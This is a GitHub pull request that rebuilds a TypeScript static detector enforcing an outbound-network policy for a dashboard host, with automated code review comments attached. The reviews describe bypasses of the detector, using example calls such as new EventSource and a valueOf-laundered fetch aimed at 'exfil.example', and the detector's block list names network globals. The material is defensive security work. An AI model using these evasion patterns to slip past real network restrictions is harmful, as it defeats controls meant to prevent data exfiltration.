Skip to content

D3 clean network policy — structural rebuild - #67

Draft
LogicDuke wants to merge 6 commits into
cockpit/d3-readonly-dashboard-hostfrom
rebuild/d3-clean-network-policy
Draft

D3 clean network policy — structural rebuild#67
LogicDuke wants to merge 6 commits into
cockpit/d3-readonly-dashboard-hostfrom
rebuild/d3-clean-network-policy

Conversation

@LogicDuke

Copy link
Copy Markdown
Owner

Summary

Clean reimplementation of the D3 network policy from the exact PR #55 base (5ae2b786ad6dc4653286d4c2b50e1fd705daa974). It replaces the accumulated PR #64 implementation rather than repairing it. PR #64 remains open as the differential oracle.

Structure

  • One provenance model: a single Symbol -> {SERVER | REQUEST | RESPONSE} x {ROOT | ALIAS | PARAM} fact map.
  • One value-symbol model (valueSymbolOf: shorthand value symbol, export-specifier local target, otherwise binder symbol).
  • One D3 static-key resolver (RESOLVED / NOT_CAPABILITY / INDETERMINATE, declaration-keyed memo, finite bounds).
  • One bounded monotone fixpoint with explicit CONVERGED / EXHAUSTED states; EXHAUSTED denies.
  • Positive SERVER / REQUEST / RESPONSE policies: any non-allow-listed operation on a proven target is denied.
  • createServer options argument is denied (exactly one listener argument; parameters 0 and 1 are the only roots).

Files

  • tests/cockpit-host/support/d3-network-policy.ts — detector
  • tests/cockpit-host/support/d3-regression-matrix.ts — data-driven MUST_DENY / MUST_ALLOW rows across the frozen semantic categories
  • tests/cockpit-host/d3-network-policy.test.ts — mechanism tests and matrix runner
  • tests/cockpit-host/purity.test.ts — minimal integration over the real host tree (PR Cockpit D3 — Read-only dashboard host (Stage A) #55 RC / HA / import / symlink / boundary logic unchanged)

No production-source changes.

Validation

Independently validated by Codex before commit. Exact validated commit: 5ac18be70be10d40ca4610b3bc826e81335e0435.

Retirement policy

PR #64 must not be closed until this replacement passes exact-head validation and the Commander authorizes retirement.

🤖 Generated with Claude Code

https://claude.ai/code/session_01JPfL76suEiud2qfmrgUURL

@coderabbitai

coderabbitai Bot commented Sep 2, 2026

Copy link
Copy Markdown

Important

Review skipped

Auto reviews are disabled on base/target branches other than the default branch.

Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Team

Run ID: ec32d502-e31b-4842-b51f-857d7ab61738

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

PR67 CI — type-safe ambient namespace check
@LogicDuke

Copy link
Copy Markdown
Owner Author

@codex review

@LogicDuke
LogicDuke marked this pull request as ready for review September 2, 2026 19:08
@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Sep 2, 2026

Copy link
Copy Markdown

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review Completed 2026-09-02T22:49:40.812470Z b9c4236 Manual request
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 6f4c9cc501

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

// ---------------------------------------------------------------------------

export const HTTP_MODULE_SPECIFIERS: ReadonlySet<string> = new Set(['node:http', 'http']);
export const NETWORK_GLOBAL_NAMES: ReadonlySet<string> = new Set(['fetch', 'WebSocket']);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Block EventSource alongside other network globals

On the supported Node 24 runtime, EventSource is another global outbound-network API, but this allowlist only recognizes fetch and WebSocket. Consequently, both new EventSource('https://exfil.example/') and new globalThis.EventSource(...) receive an ALLOW verdict, permitting outbound SSE connections despite the policy's stated network boundary; the existing Cockpit purity invariant also already classifies EventSource as network capability.

Useful? React with 👍 / 👎.

Comment on lines +796 to +797
if (isProvenCreateServerCall(ctx, node) || isConfinedFactoryCall(ctx, node)) return new Set(['SERVER']);
if (ts.isIdentifier(node)) return new Set(factsOf(ctx, valueSymbolOf(ctx.checker, node)).map((fact) => fact.authority));

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Preserve authority through fluent privileged methods

The allow-listed server and response methods are fluent: listen(), close(), setHeader(), and end() return this, but this classifier does not treat those call results as carrying the receiver's authority. For example, export const leaked = server.listen(4317, '127.0.0.1'); leaked.on('connection', ...) receives an ALLOW verdict even though leaked is the same mutable server, and response.setHeader(...).socket similarly bypasses the response member policy; either consuming these return values must be denied or their authority must propagate.

Useful? React with 👍 / 👎.

Comment on lines +1129 to +1132
checkGlobalKey(ctx, memberKey(ctx, parent), parent, () => {
checkGlobalReceiverUse(ctx, parent);
});
return;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Prevent valueOf from laundering the global receiver

When host code evaluates const g = globalThis.valueOf() as typeof globalThis, the inherited Object.prototype.valueOf() returns the same global object. This branch approves valueOf as a non-network static key and then stops tracking the call result, so a subsequent g.fetch('https://exfil.example/') receives an ALLOW verdict even though fetch itself is block-listed; calls that can recover the receiver must therefore be rejected or retain global-receiver authority.

Useful? React with 👍 / 👎.

@LogicDuke
LogicDuke marked this pull request as draft September 2, 2026 21:03
Close PR #67 F2/F3: a direct allowed member call on a proven
SERVER/REQUEST/RESPONSE target, or a call of a permitted static member
of a proven global root, now yields a result that conservatively retains
the receiver's authority through the existing fact model and policies.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q6Mog1KsMYfH2GAVMw9mbg
…rity

PR67 F2/F3 — Preserve receiver-call authority
@LogicDuke
LogicDuke marked this pull request as ready for review September 2, 2026 21:21
@LogicDuke

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: a0d8193357

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

const classes = new Set(factsOf(ctx, symbol).map((fact) => fact.authority));
if (classes.size > 0) for (const id of reads) checkTargetUse(ctx, id, classes);
}
for (const call of ctx.calls) {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Enforce the single-server invariant

When a confined factory is invoked more than once, each returned server is accepted independently, so code can call make() twice and listen on two ports—including exposing the second listener on 0.0.0.0—while receiving an ALLOW verdict. This contradicts the policy’s stated guarantee that the host may create exactly one inbound HTTP server; classification needs an aggregate creation/listening constraint rather than validating each call in isolation.

Useful? React with 👍 / 👎.

@LogicDuke
LogicDuke marked this pull request as draft September 2, 2026 21:33
@LogicDuke
LogicDuke marked this pull request as ready for review September 2, 2026 22:31
@LogicDuke

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: b9c423645b

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

if (ts.isVariableDeclaration(declaration) || ts.isBindingElement(declaration) || ts.isParameter(declaration)) {
return true;
}
if (ts.isFunctionDeclaration(declaration)) return declaration.body !== undefined;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Recognize named function-expression shadows

When a reserved global name is introduced by a named function expression, such as const f = function fetch() { return fetch; }, JavaScript creates a real runtime binding inside the function, but this predicate recognizes only FunctionDeclaration. Consequently the recursive fetch reference is passed to checkFreeGlobal and valid local code is rejected as FREE_GLOBAL_NETWORK; include FunctionExpression among runtime declarations.

Useful? React with 👍 / 👎.

Comment on lines +432 to +433
const isRuntimeImportEquals = (declaration: ts.ImportEqualsDeclaration): boolean =>
!declaration.isTypeOnly && (ts.isExternalModuleReference(declaration.moduleReference) || isExported(declaration));

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Treat private value import aliases as runtime bindings

For a non-type-only entity alias such as import * as Local from './x.js'; import fetch = Local.f; fetch();, the repository's NodeNext compilation emits a local fetch binding, even though the alias is neither exported nor an external-module reference itself. This predicate returns false for that valid form, so the call is incorrectly classified as FREE_GLOBAL_NETWORK; private value aliases need to count as runtime shadows as well.

Useful? React with 👍 / 👎.

@LogicDuke
LogicDuke marked this pull request as draft September 2, 2026 22:53
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant